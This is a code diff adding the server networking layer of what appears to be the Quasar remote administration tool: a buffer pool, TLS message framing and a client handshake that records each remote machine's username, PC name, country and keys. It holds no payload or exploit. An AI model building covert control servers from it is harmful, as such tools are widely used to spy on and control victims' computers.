initial commit
This commit is contained in:
@@ -0,0 +1,232 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
|
||||
namespace Quasar.Server.Networking
|
||||
{
|
||||
/// <summary>
|
||||
/// Implements a pool of byte arrays to improve allocation performance when parsing data.
|
||||
/// </summary>
|
||||
/// <threadsafety>This type is safe for multi-threaded operations.</threadsafety>
|
||||
public class BufferPool
|
||||
{
|
||||
private readonly int _bufferLength;
|
||||
private int _bufferCount;
|
||||
private readonly Stack<byte[]> _buffers;
|
||||
|
||||
/// <summary>
|
||||
/// Informs listeners when a new buffer beyond the initial length has been allocated.
|
||||
/// </summary>
|
||||
public event EventHandler NewBufferAllocated;
|
||||
/// <summary>
|
||||
/// Fires the <see>NewBufferAllocated</see> event.
|
||||
/// </summary>
|
||||
/// <param name="e">The event arguments.</param>
|
||||
protected virtual void OnNewBufferAllocated(EventArgs e)
|
||||
{
|
||||
var handler = NewBufferAllocated;
|
||||
if (handler != null)
|
||||
handler(this, e);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Informs listeners that a buffer has been allocated.
|
||||
/// </summary>
|
||||
public event EventHandler BufferRequested;
|
||||
/// <summary>
|
||||
/// Raises the <see>BufferRequested</see> event.
|
||||
/// </summary>
|
||||
/// <param name="e">The event arguments.</param>
|
||||
protected virtual void OnBufferRequested(EventArgs e)
|
||||
{
|
||||
var handler =BufferRequested;
|
||||
if (handler != null)
|
||||
handler(this, e);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Informs listeners that a buffer has been returned.
|
||||
/// </summary>
|
||||
public event EventHandler BufferReturned;
|
||||
/// <summary>
|
||||
/// Raises the <see>BufferReturned</see> event.
|
||||
/// </summary>
|
||||
/// <param name="e">The event arguments.</param>
|
||||
protected virtual void OnBufferReturned(EventArgs e)
|
||||
{
|
||||
var handler = BufferReturned;
|
||||
if (handler != null)
|
||||
handler(this, e);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Gets the size of the buffers allocated from this pool.
|
||||
/// </summary>
|
||||
public int BufferLength
|
||||
{
|
||||
get { return _bufferLength; }
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Gets the maximum number of buffers available at any given time from this pool.
|
||||
/// </summary>
|
||||
public int MaxBufferCount
|
||||
{
|
||||
get { return _bufferCount; }
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Gets the current number of buffers available for use.
|
||||
/// </summary>
|
||||
public int BuffersAvailable => _buffers.Count;
|
||||
|
||||
/// <summary>
|
||||
/// Gets or sets whether to zero the contents of a buffer when it is returned.
|
||||
/// </summary>
|
||||
public bool ClearOnReturn { get; set; }
|
||||
|
||||
/// <summary>
|
||||
/// Creates a new buffer pool with the specified name, buffer sizes, and buffer count.
|
||||
/// </summary>
|
||||
/// <param name="baseBufferLength">The size of the preallocated buffers.</param>
|
||||
/// <param name="baseBufferCount">The number of preallocated buffers that should be available.</param>
|
||||
/// <exception cref="ArgumentOutOfRangeException">Thrown if <paramref name="baseBufferLength"/> or
|
||||
/// <paramref name="baseBufferCount"/> are zero or negative.</exception>
|
||||
public BufferPool(int baseBufferLength, int baseBufferCount)
|
||||
{
|
||||
if (baseBufferLength <= 0)
|
||||
throw new ArgumentOutOfRangeException("baseBufferLength", baseBufferLength, "Buffer length must be a positive integer value.");
|
||||
if (baseBufferCount <= 0)
|
||||
throw new ArgumentOutOfRangeException("baseBufferCount", baseBufferCount, "Buffer count must be a positive integer value.");
|
||||
|
||||
_bufferLength = baseBufferLength;
|
||||
_bufferCount = baseBufferCount;
|
||||
|
||||
_buffers = new Stack<byte[]>(baseBufferCount);
|
||||
|
||||
for (int i = 0; i < baseBufferCount; i++)
|
||||
{
|
||||
_buffers.Push(new byte[baseBufferLength]);
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Gets a buffer from the available pool if one is available, or else allocates a new one.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// <para>Buffers retrieved with this method should be returned to the pool by using the
|
||||
/// <see>ReturnBuffer</see> method.</para>
|
||||
/// </remarks>
|
||||
/// <returns>A <see>byte</see>[] from the pool.</returns>
|
||||
public byte[] GetBuffer()
|
||||
{
|
||||
lock (_buffers)
|
||||
{
|
||||
if (_buffers.Count > 0)
|
||||
{
|
||||
byte[] buffer = _buffers.Pop();
|
||||
return buffer;
|
||||
}
|
||||
}
|
||||
|
||||
return AllocateNewBuffer();
|
||||
}
|
||||
|
||||
private byte[] AllocateNewBuffer()
|
||||
{
|
||||
byte[] newBuffer = new byte[_bufferLength];
|
||||
_bufferCount++;
|
||||
OnNewBufferAllocated(EventArgs.Empty);
|
||||
|
||||
return newBuffer;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Returns the specified buffer to the pool.
|
||||
/// </summary>
|
||||
/// <returns><see langword="true" /> if the buffer belonged to this pool and was freed; otherwise <see langword="false" />.</returns>
|
||||
/// <remarks>
|
||||
/// <para>If the <see>ClearOnFree</see> property is <see langword="true" />, then the buffer will be zeroed before
|
||||
/// being restored to the pool.</para>
|
||||
/// </remarks>
|
||||
/// <param name="buffer">The buffer to return to the pool.</param>
|
||||
/// <exception cref="ArgumentNullException">Thrown if <paramref name="buffer" /> is <see langword="null" />.</exception>
|
||||
public bool ReturnBuffer(byte[] buffer)
|
||||
{
|
||||
if (buffer == null)
|
||||
throw new ArgumentNullException("buffer");
|
||||
if (buffer.Length != _bufferLength)
|
||||
return false;
|
||||
|
||||
if (ClearOnReturn)
|
||||
Array.Clear(buffer, 0, buffer.Length);
|
||||
|
||||
lock (_buffers)
|
||||
{
|
||||
if (!_buffers.Contains(buffer))
|
||||
_buffers.Push(buffer);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Increases the number of buffers available in the pool by a given size.
|
||||
/// </summary>
|
||||
/// <param name="buffersToAdd">The number of buffers to preallocate.</param>
|
||||
/// <exception cref="OutOfMemoryException">Thrown if the system is unable to preallocate the requested number of buffers.</exception>
|
||||
/// <exception cref="ArgumentOutOfRangeException">Thrown if <paramref name="buffersToAdd"/> is less than or equal to 0.</exception>
|
||||
/// <remarks>
|
||||
/// <para>This method does not cause the <see>NewBufferAllocated</see> event to be raised.</para>
|
||||
/// </remarks>
|
||||
public void IncreaseBufferCount(int buffersToAdd)
|
||||
{
|
||||
if (buffersToAdd <= 0)
|
||||
throw new ArgumentOutOfRangeException("buffersToAdd", buffersToAdd, "The number of buffers to add must be a nonnegative, nonzero integer.");
|
||||
|
||||
List<byte[]> newBuffers = new List<byte[]>(buffersToAdd);
|
||||
for (int i = 0; i < buffersToAdd; i++)
|
||||
{
|
||||
newBuffers.Add(new byte[_bufferLength]);
|
||||
}
|
||||
|
||||
lock (_buffers)
|
||||
{
|
||||
_bufferCount += buffersToAdd;
|
||||
for (int i = 0; i < buffersToAdd; i++)
|
||||
{
|
||||
_buffers.Push(newBuffers[i]);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Removes up to the specified number of buffers from the pool.
|
||||
/// </summary>
|
||||
/// <param name="buffersToRemove">The number of buffers to attempt to remove.</param>
|
||||
/// <returns>The number of buffers actually removed.</returns>
|
||||
/// <remarks>
|
||||
/// <para>The number of buffers removed may actually be lower than the number requested if the specified number of buffers are not free.
|
||||
/// For example, if the number of buffers free is 15, and the callee requests the removal of 20 buffers, only 15 will be freed, and so the
|
||||
/// returned value will be 15.</para>
|
||||
/// </remarks>
|
||||
/// <exception cref="ArgumentOutOfRangeException">Thrown if <paramref name="buffersToRemove"/> is less than or equal to 0.</exception>
|
||||
public int DecreaseBufferCount(int buffersToRemove)
|
||||
{
|
||||
if (buffersToRemove <= 0)
|
||||
throw new ArgumentOutOfRangeException("buffersToRemove", buffersToRemove, "The number of buffers to remove must be a nonnegative, nonzero integer.");
|
||||
|
||||
int numRemoved = 0;
|
||||
|
||||
lock (_buffers)
|
||||
{
|
||||
for (int i = 0; i < buffersToRemove && _buffers.Count > 0; i++)
|
||||
{
|
||||
_buffers.Pop();
|
||||
numRemoved++;
|
||||
_bufferCount--;
|
||||
}
|
||||
}
|
||||
|
||||
return numRemoved;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,590 @@
|
||||
using Quasar.Common.Messages;
|
||||
using Quasar.Common.Networking;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Net;
|
||||
using System.Net.Security;
|
||||
using System.Threading;
|
||||
|
||||
namespace Quasar.Server.Networking
|
||||
{
|
||||
public class Client : IEquatable<Client>, ISender
|
||||
{
|
||||
/// <summary>
|
||||
/// Occurs when the state of the client changes.
|
||||
/// </summary>
|
||||
public event ClientStateEventHandler ClientState;
|
||||
|
||||
/// <summary>
|
||||
/// Represents the method that will handle a change in a client's state.
|
||||
/// </summary>
|
||||
/// <param name="s">The client which changed its state.</param>
|
||||
/// <param name="connected">The new connection state of the client.</param>
|
||||
public delegate void ClientStateEventHandler(Client s, bool connected);
|
||||
|
||||
/// <summary>
|
||||
/// Fires an event that informs subscribers that the state of the client has changed.
|
||||
/// </summary>
|
||||
/// <param name="connected">The new connection state of the client.</param>
|
||||
private void OnClientState(bool connected)
|
||||
{
|
||||
if (Connected == connected) return;
|
||||
|
||||
Connected = connected;
|
||||
|
||||
var handler = ClientState;
|
||||
handler?.Invoke(this, connected);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Occurs when a message is received from the client.
|
||||
/// </summary>
|
||||
public event ClientReadEventHandler ClientRead;
|
||||
|
||||
/// <summary>
|
||||
/// Represents the method that will handle a message received from the client.
|
||||
/// </summary>
|
||||
/// <param name="s">The client that has received the message.</param>
|
||||
/// <param name="message">The message that received by the client.</param>
|
||||
/// <param name="messageLength">The length of the message.</param>
|
||||
public delegate void ClientReadEventHandler(Client s, IMessage message, int messageLength);
|
||||
|
||||
/// <summary>
|
||||
/// Fires an event that informs subscribers that a message has been
|
||||
/// received from the client.
|
||||
/// </summary>
|
||||
/// <param name="message">The message that received by the client.</param>
|
||||
/// <param name="messageLength">The length of the message.</param>
|
||||
private void OnClientRead(IMessage message, int messageLength)
|
||||
{
|
||||
var handler = ClientRead;
|
||||
handler?.Invoke(this, message, messageLength);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Occurs when a message is sent by the client.
|
||||
/// </summary>
|
||||
public event ClientWriteEventHandler ClientWrite;
|
||||
|
||||
/// <summary>
|
||||
/// Represents the method that will handle the sent message.
|
||||
/// </summary>
|
||||
/// <param name="s">The client that has sent the message.</param>
|
||||
/// <param name="message">The message that has been sent by the client.</param>
|
||||
/// <param name="messageLength">The length of the message.</param>
|
||||
public delegate void ClientWriteEventHandler(Client s, IMessage message, int messageLength);
|
||||
|
||||
/// <summary>
|
||||
/// Fires an event that informs subscribers that the client has sent a message.
|
||||
/// </summary>
|
||||
/// <param name="message">The message that has been sent by the client.</param>
|
||||
/// <param name="messageLength">The length of the message.</param>
|
||||
private void OnClientWrite(IMessage message, int messageLength)
|
||||
{
|
||||
var handler = ClientWrite;
|
||||
handler?.Invoke(this, message, messageLength);
|
||||
}
|
||||
|
||||
public static bool operator ==(Client c1, Client c2)
|
||||
{
|
||||
if (ReferenceEquals(c1, null))
|
||||
return ReferenceEquals(c2, null);
|
||||
|
||||
return c1.Equals(c2);
|
||||
}
|
||||
|
||||
public static bool operator !=(Client c1, Client c2)
|
||||
{
|
||||
return !(c1 == c2);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Checks whether the clients are equal.
|
||||
/// </summary>
|
||||
/// <param name="other">Client to compare with.</param>
|
||||
/// <returns>True if equal, else False.</returns>
|
||||
public bool Equals(Client other)
|
||||
{
|
||||
if (ReferenceEquals(null, other)) return false;
|
||||
if (ReferenceEquals(this, other)) return true;
|
||||
|
||||
try
|
||||
{
|
||||
// the port is always unique for each client
|
||||
return this.EndPoint.Port.Equals(other.EndPoint.Port);
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
public override bool Equals(object obj)
|
||||
{
|
||||
return this.Equals(obj as Client);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Returns the hashcode for this instance.
|
||||
/// </summary>
|
||||
/// <returns>A hash code for the current instance.</returns>
|
||||
public override int GetHashCode()
|
||||
{
|
||||
return this.EndPoint.GetHashCode();
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// The type of the message received.
|
||||
/// </summary>
|
||||
public enum ReceiveType
|
||||
{
|
||||
Header,
|
||||
Payload
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// The stream used for communication.
|
||||
/// </summary>
|
||||
private readonly SslStream _stream;
|
||||
|
||||
/// <summary>
|
||||
/// The buffer pool to hold the receive-buffers for the clients.
|
||||
/// </summary>
|
||||
private readonly BufferPool _bufferPool;
|
||||
|
||||
/// <summary>
|
||||
/// The queue which holds messages to send.
|
||||
/// </summary>
|
||||
private readonly Queue<IMessage> _sendBuffers = new Queue<IMessage>();
|
||||
|
||||
/// <summary>
|
||||
/// Determines if the client is currently sending messages.
|
||||
/// </summary>
|
||||
private bool _sendingMessages;
|
||||
|
||||
/// <summary>
|
||||
/// Lock object for the sending messages boolean.
|
||||
/// </summary>
|
||||
private readonly object _sendingMessagesLock = new object();
|
||||
|
||||
/// <summary>
|
||||
/// The queue which holds buffers to read.
|
||||
/// </summary>
|
||||
private readonly Queue<byte[]> _readBuffers = new Queue<byte[]>();
|
||||
|
||||
/// <summary>
|
||||
/// Determines if the client is currently reading messages.
|
||||
/// </summary>
|
||||
private bool _readingMessages;
|
||||
|
||||
/// <summary>
|
||||
/// Lock object for the reading messages boolean.
|
||||
/// </summary>
|
||||
private readonly object _readingMessagesLock = new object();
|
||||
|
||||
// receive info
|
||||
private int _readOffset;
|
||||
private int _writeOffset;
|
||||
private int _readableDataLen;
|
||||
private int _payloadLen;
|
||||
private ReceiveType _receiveState = ReceiveType.Header;
|
||||
|
||||
/// <summary>
|
||||
/// The time when the client connected.
|
||||
/// </summary>
|
||||
public DateTime ConnectedTime { get; }
|
||||
|
||||
/// <summary>
|
||||
/// The connection state of the client.
|
||||
/// </summary>
|
||||
public bool Connected { get; private set; }
|
||||
|
||||
/// <summary>
|
||||
/// Determines if the client is identified.
|
||||
/// </summary>
|
||||
public bool Identified { get; set; }
|
||||
|
||||
/// <summary>
|
||||
/// Stores values of the user.
|
||||
/// </summary>
|
||||
public UserState Value { get; set; }
|
||||
|
||||
/// <summary>
|
||||
/// The Endpoint which the client is connected to.
|
||||
/// </summary>
|
||||
public IPEndPoint EndPoint { get; }
|
||||
|
||||
/// <summary>
|
||||
/// The buffer for the client's incoming messages.
|
||||
/// </summary>
|
||||
private readonly byte[] _readBuffer;
|
||||
|
||||
/// <summary>
|
||||
/// The buffer for the client's incoming payload.
|
||||
/// </summary>
|
||||
private byte[] _payloadBuffer;
|
||||
|
||||
/// <summary>
|
||||
/// The header size in bytes.
|
||||
/// </summary>
|
||||
private const int HeaderSize = 4; // 4 B
|
||||
|
||||
/// <summary>
|
||||
/// The maximum size of a message in bytes.
|
||||
/// </summary>
|
||||
private const int MaxMessageSize = (1024 * 1024) * 5; // 5 MB
|
||||
|
||||
/// <summary>
|
||||
/// The mutex prevents multiple simultaneous write operations on the <see cref="_stream"/>.
|
||||
/// </summary>
|
||||
private readonly Mutex _singleWriteMutex = new Mutex();
|
||||
|
||||
public Client(BufferPool bufferPool, SslStream stream, IPEndPoint endPoint)
|
||||
{
|
||||
try
|
||||
{
|
||||
Identified = false;
|
||||
Value = new UserState();
|
||||
EndPoint = endPoint;
|
||||
ConnectedTime = DateTime.UtcNow;
|
||||
_stream = stream;
|
||||
_bufferPool = bufferPool;
|
||||
_readBuffer = _bufferPool.GetBuffer();
|
||||
_stream.BeginRead(_readBuffer, 0, _readBuffer.Length, AsyncReceive, null);
|
||||
OnClientState(true);
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
Disconnect();
|
||||
}
|
||||
}
|
||||
|
||||
private void AsyncReceive(IAsyncResult result)
|
||||
{
|
||||
int bytesTransferred;
|
||||
|
||||
try
|
||||
{
|
||||
bytesTransferred = _stream.EndRead(result);
|
||||
|
||||
if (bytesTransferred <= 0)
|
||||
throw new Exception("no bytes transferred");
|
||||
}
|
||||
catch (NullReferenceException)
|
||||
{
|
||||
return;
|
||||
}
|
||||
catch (ObjectDisposedException)
|
||||
{
|
||||
return;
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
Disconnect();
|
||||
return;
|
||||
}
|
||||
|
||||
byte[] received = new byte[bytesTransferred];
|
||||
|
||||
try
|
||||
{
|
||||
Array.Copy(_readBuffer, received, received.Length);
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
Disconnect();
|
||||
return;
|
||||
}
|
||||
|
||||
lock (_readBuffers)
|
||||
{
|
||||
_readBuffers.Enqueue(received);
|
||||
}
|
||||
|
||||
lock (_readingMessagesLock)
|
||||
{
|
||||
if (!_readingMessages)
|
||||
{
|
||||
_readingMessages = true;
|
||||
ThreadPool.QueueUserWorkItem(AsyncReceive);
|
||||
}
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
_stream.BeginRead(_readBuffer, 0, _readBuffer.Length, AsyncReceive, null);
|
||||
}
|
||||
catch (ObjectDisposedException)
|
||||
{
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
Disconnect();
|
||||
}
|
||||
}
|
||||
|
||||
private void AsyncReceive(object state)
|
||||
{
|
||||
while (true)
|
||||
{
|
||||
byte[] readBuffer;
|
||||
lock (_readBuffers)
|
||||
{
|
||||
if (_readBuffers.Count == 0)
|
||||
{
|
||||
lock (_readingMessagesLock)
|
||||
{
|
||||
_readingMessages = false;
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
readBuffer = _readBuffers.Dequeue();
|
||||
}
|
||||
|
||||
_readableDataLen += readBuffer.Length;
|
||||
bool process = true;
|
||||
while (process)
|
||||
{
|
||||
switch (_receiveState)
|
||||
{
|
||||
case ReceiveType.Header:
|
||||
{
|
||||
if (_payloadBuffer == null)
|
||||
_payloadBuffer = new byte[HeaderSize];
|
||||
|
||||
if (_readableDataLen + _writeOffset >= HeaderSize)
|
||||
{
|
||||
// completely received header
|
||||
int headerLength = HeaderSize - _writeOffset;
|
||||
|
||||
try
|
||||
{
|
||||
Array.Copy(readBuffer, _readOffset, _payloadBuffer, _writeOffset, headerLength);
|
||||
|
||||
_payloadLen = BitConverter.ToInt32(_payloadBuffer, _readOffset);
|
||||
|
||||
if (_payloadLen <= 0 || _payloadLen > MaxMessageSize)
|
||||
throw new Exception("invalid header");
|
||||
|
||||
// try to re-use old payload buffers which fit
|
||||
if (_payloadBuffer.Length <= _payloadLen + HeaderSize)
|
||||
Array.Resize(ref _payloadBuffer, _payloadLen + HeaderSize);
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
process = false;
|
||||
Disconnect();
|
||||
break;
|
||||
}
|
||||
|
||||
_readableDataLen -= headerLength;
|
||||
_writeOffset += headerLength;
|
||||
_readOffset += headerLength;
|
||||
_receiveState = ReceiveType.Payload;
|
||||
}
|
||||
else // _readableDataLen + _writeOffset < HeaderSize
|
||||
{
|
||||
// received only a part of the header
|
||||
try
|
||||
{
|
||||
Array.Copy(readBuffer, _readOffset, _payloadBuffer, _writeOffset, _readableDataLen);
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
process = false;
|
||||
Disconnect();
|
||||
break;
|
||||
}
|
||||
_readOffset += _readableDataLen;
|
||||
_writeOffset += _readableDataLen;
|
||||
process = false;
|
||||
// nothing left to process
|
||||
}
|
||||
break;
|
||||
}
|
||||
case ReceiveType.Payload:
|
||||
{
|
||||
int length = (_writeOffset - HeaderSize + _readableDataLen) >= _payloadLen
|
||||
? _payloadLen - (_writeOffset - HeaderSize)
|
||||
: _readableDataLen;
|
||||
|
||||
try
|
||||
{
|
||||
Array.Copy(readBuffer, _readOffset, _payloadBuffer, _writeOffset, length);
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
process = false;
|
||||
Disconnect();
|
||||
break;
|
||||
}
|
||||
|
||||
_writeOffset += length;
|
||||
_readOffset += length;
|
||||
_readableDataLen -= length;
|
||||
|
||||
if (_writeOffset - HeaderSize == _payloadLen)
|
||||
{
|
||||
// completely received payload
|
||||
try
|
||||
{
|
||||
using (PayloadReader pr = new PayloadReader(_payloadBuffer, _payloadLen + HeaderSize, false))
|
||||
{
|
||||
IMessage message = pr.ReadMessage();
|
||||
|
||||
OnClientRead(message, _payloadBuffer.Length);
|
||||
}
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
process = false;
|
||||
Disconnect();
|
||||
break;
|
||||
}
|
||||
|
||||
_receiveState = ReceiveType.Header;
|
||||
_payloadLen = 0;
|
||||
_writeOffset = 0;
|
||||
}
|
||||
|
||||
if (_readableDataLen == 0)
|
||||
process = false;
|
||||
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
_readOffset = 0;
|
||||
_readableDataLen = 0;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Sends a message to the connected client.
|
||||
/// </summary>
|
||||
/// <typeparam name="T">The type of the message.</typeparam>
|
||||
/// <param name="message">The message to be sent.</param>
|
||||
public void Send<T>(T message) where T : IMessage
|
||||
{
|
||||
if (!Connected || message == null) return;
|
||||
|
||||
lock (_sendBuffers)
|
||||
{
|
||||
_sendBuffers.Enqueue(message);
|
||||
|
||||
lock (_sendingMessagesLock)
|
||||
{
|
||||
if (_sendingMessages) return;
|
||||
|
||||
_sendingMessages = true;
|
||||
ThreadPool.QueueUserWorkItem(ProcessSendBuffers);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Sends a message to the connected client.
|
||||
/// Blocks the thread until the message has been sent.
|
||||
/// </summary>
|
||||
/// <typeparam name="T">The type of the message.</typeparam>
|
||||
/// <param name="message">The message to be sent.</param>
|
||||
public void SendBlocking<T>(T message) where T : IMessage
|
||||
{
|
||||
if (!Connected || message == null) return;
|
||||
|
||||
SafeSendMessage(message);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Safely sends a message and prevents multiple simultaneous
|
||||
/// write operations on the <see cref="_stream"/>.
|
||||
/// </summary>
|
||||
/// <param name="message">The message to send.</param>
|
||||
private void SafeSendMessage(IMessage message)
|
||||
{
|
||||
try
|
||||
{
|
||||
_singleWriteMutex.WaitOne();
|
||||
using (PayloadWriter pw = new PayloadWriter(_stream, true))
|
||||
{
|
||||
OnClientWrite(message, pw.WriteMessage(message));
|
||||
}
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
Disconnect();
|
||||
SendCleanup(true);
|
||||
}
|
||||
finally
|
||||
{
|
||||
_singleWriteMutex.ReleaseMutex();
|
||||
}
|
||||
}
|
||||
|
||||
private void ProcessSendBuffers(object state)
|
||||
{
|
||||
while (true)
|
||||
{
|
||||
if (!Connected)
|
||||
{
|
||||
SendCleanup(true);
|
||||
return;
|
||||
}
|
||||
|
||||
IMessage message;
|
||||
lock (_sendBuffers)
|
||||
{
|
||||
if (_sendBuffers.Count == 0)
|
||||
{
|
||||
SendCleanup();
|
||||
return;
|
||||
}
|
||||
|
||||
message = _sendBuffers.Dequeue();
|
||||
}
|
||||
|
||||
SafeSendMessage(message);
|
||||
}
|
||||
}
|
||||
|
||||
private void SendCleanup(bool clear = false)
|
||||
{
|
||||
lock (_sendingMessagesLock)
|
||||
{
|
||||
_sendingMessages = false;
|
||||
}
|
||||
|
||||
if (!clear) return;
|
||||
|
||||
lock (_sendBuffers)
|
||||
{
|
||||
_sendBuffers.Clear();
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Disconnect the client from the server and dispose of
|
||||
/// resources associated with the client.
|
||||
/// </summary>
|
||||
public void Disconnect()
|
||||
{
|
||||
if (_stream != null)
|
||||
{
|
||||
_stream.Close();
|
||||
_readOffset = 0;
|
||||
_writeOffset = 0;
|
||||
_readableDataLen = 0;
|
||||
_payloadLen = 0;
|
||||
_payloadBuffer = null;
|
||||
_receiveState = ReceiveType.Header;
|
||||
_singleWriteMutex.Dispose();
|
||||
|
||||
_bufferPool.ReturnBuffer(_readBuffer);
|
||||
}
|
||||
|
||||
OnClientState(false);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,164 @@
|
||||
using Quasar.Common.Cryptography;
|
||||
using Quasar.Common.Messages;
|
||||
using System;
|
||||
using System.Linq;
|
||||
using System.Security.Cryptography;
|
||||
using System.Security.Cryptography.X509Certificates;
|
||||
using System.Text;
|
||||
|
||||
namespace Quasar.Server.Networking
|
||||
{
|
||||
public class QuasarServer : Server
|
||||
{
|
||||
/// <summary>
|
||||
/// Gets the clients currently connected and identified to the server.
|
||||
/// </summary>
|
||||
public Client[] ConnectedClients
|
||||
{
|
||||
get { return Clients.Where(c => c != null && c.Identified).ToArray(); }
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Occurs when a client connected.
|
||||
/// </summary>
|
||||
public event ClientConnectedEventHandler ClientConnected;
|
||||
|
||||
/// <summary>
|
||||
/// Represents the method that will handle the connected client.
|
||||
/// </summary>
|
||||
/// <param name="client">The connected client.</param>
|
||||
public delegate void ClientConnectedEventHandler(Client client);
|
||||
|
||||
/// <summary>
|
||||
/// Fires an event that informs subscribers that the client is connected.
|
||||
/// </summary>
|
||||
/// <param name="client">The connected client.</param>
|
||||
private void OnClientConnected(Client client)
|
||||
{
|
||||
if (ProcessingDisconnect || !Listening) return;
|
||||
var handler = ClientConnected;
|
||||
handler?.Invoke(client);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Occurs when a client disconnected.
|
||||
/// </summary>
|
||||
public event ClientDisconnectedEventHandler ClientDisconnected;
|
||||
|
||||
/// <summary>
|
||||
/// Represents the method that will handle the disconnected client.
|
||||
/// </summary>
|
||||
/// <param name="client">The disconnected client.</param>
|
||||
public delegate void ClientDisconnectedEventHandler(Client client);
|
||||
|
||||
/// <summary>
|
||||
/// Fires an event that informs subscribers that the client is disconnected.
|
||||
/// </summary>
|
||||
/// <param name="client">The disconnected client.</param>
|
||||
private void OnClientDisconnected(Client client)
|
||||
{
|
||||
if (ProcessingDisconnect || !Listening) return;
|
||||
var handler = ClientDisconnected;
|
||||
handler?.Invoke(client);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Constructor, initializes required objects and subscribes to events of the server.
|
||||
/// </summary>
|
||||
/// <param name="serverCertificate">The server certificate.</param>
|
||||
public QuasarServer(X509Certificate2 serverCertificate) : base(serverCertificate)
|
||||
{
|
||||
base.ClientState += OnClientState;
|
||||
base.ClientRead += OnClientRead;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Decides if the client connected or disconnected.
|
||||
/// </summary>
|
||||
/// <param name="server">The server the client is connected to.</param>
|
||||
/// <param name="client">The client which changed its state.</param>
|
||||
/// <param name="connected">True if the client connected, false if disconnected.</param>
|
||||
private void OnClientState(Server server, Client client, bool connected)
|
||||
{
|
||||
if (!connected)
|
||||
{
|
||||
if (client.Identified)
|
||||
{
|
||||
OnClientDisconnected(client);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Forwards received messages from the client to the MessageHandler.
|
||||
/// </summary>
|
||||
/// <param name="server">The server the client is connected to.</param>
|
||||
/// <param name="client">The client which has received the message.</param>
|
||||
/// <param name="message">The received message.</param>
|
||||
private void OnClientRead(Server server, Client client, IMessage message)
|
||||
{
|
||||
if (!client.Identified)
|
||||
{
|
||||
if (message.GetType() == typeof (ClientIdentification))
|
||||
{
|
||||
client.Identified = IdentifyClient(client, (ClientIdentification) message);
|
||||
if (client.Identified)
|
||||
{
|
||||
client.Send(new ClientIdentificationResult {Result = true}); // finish handshake
|
||||
OnClientConnected(client);
|
||||
}
|
||||
else
|
||||
{
|
||||
// identification failed
|
||||
client.Disconnect();
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
// no messages of other types are allowed as long as client is in unidentified state
|
||||
client.Disconnect();
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
MessageHandler.Process(client, message);
|
||||
}
|
||||
|
||||
private bool IdentifyClient(Client client, ClientIdentification packet)
|
||||
{
|
||||
if (packet.Id.Length != 64)
|
||||
return false;
|
||||
|
||||
client.Value.Version = packet.Version;
|
||||
client.Value.OperatingSystem = packet.OperatingSystem;
|
||||
client.Value.AccountType = packet.AccountType;
|
||||
client.Value.Country = packet.Country;
|
||||
client.Value.CountryCode = packet.CountryCode;
|
||||
client.Value.Id = packet.Id;
|
||||
client.Value.Username = packet.Username;
|
||||
client.Value.PcName = packet.PcName;
|
||||
client.Value.Tag = packet.Tag;
|
||||
client.Value.ImageIndex = packet.ImageIndex;
|
||||
client.Value.EncryptionKey = packet.EncryptionKey;
|
||||
|
||||
// TODO: Refactor tooltip
|
||||
//if (Settings.ShowToolTip)
|
||||
// client.Send(new GetSystemInfo());
|
||||
|
||||
#if !DEBUG
|
||||
try
|
||||
{
|
||||
var csp = (RSACryptoServiceProvider)ServerCertificate.PublicKey.Key;
|
||||
return csp.VerifyHash(Sha256.ComputeHash(Encoding.UTF8.GetBytes(packet.EncryptionKey)),
|
||||
CryptoConfig.MapNameToOID("SHA256"), packet.Signature);
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
return false;
|
||||
}
|
||||
#else
|
||||
return true;
|
||||
#endif
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,418 @@
|
||||
using Quasar.Common.Extensions;
|
||||
using Quasar.Common.Messages;
|
